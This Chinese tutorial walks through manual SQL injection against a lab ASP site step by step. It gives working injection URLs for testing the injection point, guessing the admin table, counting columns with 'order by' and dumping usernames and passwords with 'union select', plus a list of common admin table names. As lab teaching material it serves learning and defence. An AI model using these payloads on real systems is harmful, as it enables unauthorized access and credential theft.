您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何實現手工SQL注入,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
SQL注入是***對數據庫進行***的常用手段之一,其核心思想在于:***在正常的需要調用數據庫數據的URL后面構造一段數據庫查詢代碼,然后根據返回的結果,從而獲得想要的某些數據。下面我們就對之前已經搭建好的***平臺進行SQL注入,最終目的是獲得網站的管理員賬號和密碼。目標服務器IP地址:192.168.80.129,***主機IP地址:192.168.80.128。
(1)尋找注入點
隨便打開一個網頁,注意觀察URL。
注入點必定是類似“http://192.168.80.129/shownews.asp?id=7”這類存在命令調用的頁面,“shownews.asp?id=7”是頁面傳值,就是將“id=7”傳到“shownews.asp”頁面里進行處理。
我們可以在這個URL后面加上and 1=1和and 1=2進行測試。
http://192.168.80.129/shownews.asp?id=7 and 1=1 ,網頁仍能正常顯示。
http://192.168.80.129/shownews.asp?id=7 and 1=2 ,網頁無法正常顯示。
這就表明“asp?”把我們自己加上的“and 1=1”也作為一個命令參數進行了調用,那我們就可以來構造一些SQL語句來被調用執行,從而得到需要的信息,這就是所謂的注入漏洞。像這樣可以調用命令參數的網頁就稱為注入點。
(2)猜表名
***進行網站***的主要目的是獲得網站管理員的用戶名和密碼,用戶名和密碼都是存放在后臺數據庫的某個表中,所以首先我們得猜出這個數據表的名字是什么。
表名用的最多的是admin和admin_user,我們可以在注入點URL的后面加上這樣一條語句來猜表名:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0
“select count(*) from admin”的意思是統計admin表中有幾條記錄,如果admin表存在,那么這條語句就會得到一個數值。用這個數值跟>0比較,結果肯定是成立的,所以此時網頁應該正常顯示。反之,如果admin表不存在,那么“select count(*) from admin”就得不到任何數值,跟>0比較,結果不成立,網頁也就無法正常顯示。
如果網頁不能正常顯示,可以再換一個表名進行嘗試,直到正常顯示為止:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0
這個網站的表名就是manage_user。
常見表名主要有:admin sysadmin manger admin123 webadmin member manage_user
注意:如果表名實在猜不出來,也可以使用明小子之類的工具來幫忙。
(3)猜字段的數量
下一步是猜這個表中哪個字段存放著用戶名和密碼,首先需要知道數據表中一共有幾個字段。
這里要用到“order by”語句,“order by”的本意是按某個字段排序,“order by 10”就是按第10個字段排序,如果第10個字段存在,那么網頁就會正常顯示,否則如果網頁無法正常顯示,則表明第10字段不存在。
http://192.168.80.129/shownews.asp?id=7 order by 11
通過這種方法可以猜出這個表一共有11個字段。
(4)猜字段名
下一步是需要知道哪個字段存放著用戶名和密碼,這里用到“union select”聯合查詢語句。
http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user
這里會將存放用戶名和密碼的字段爆出。
存放用戶名的字段一般叫username,存放密碼的字段一般叫password,將第2和第3字段替換成這兩個名字:
http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user
這時就將用戶名和密碼爆出了。
(5)猜后臺管理入口
在這個2.0版的南方數據模板中,本身就帶有“管理員登入”的鏈接。現在大多數網站不會這樣設置的,所以這里一般要憑經驗來猜,管理入口一般存放在名為admin的網站子目錄下,輸入下面的地址http://192.168.80.129/admin,就自動將管理入口顯示出來了。
在這里就可以用之前爆出的管理員賬號和密碼來登錄,但是密碼“3acdbb255b45d296”很明顯是經過MD5加密的。
上述就是小編為大家分享的如何實現手工SQL注入了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。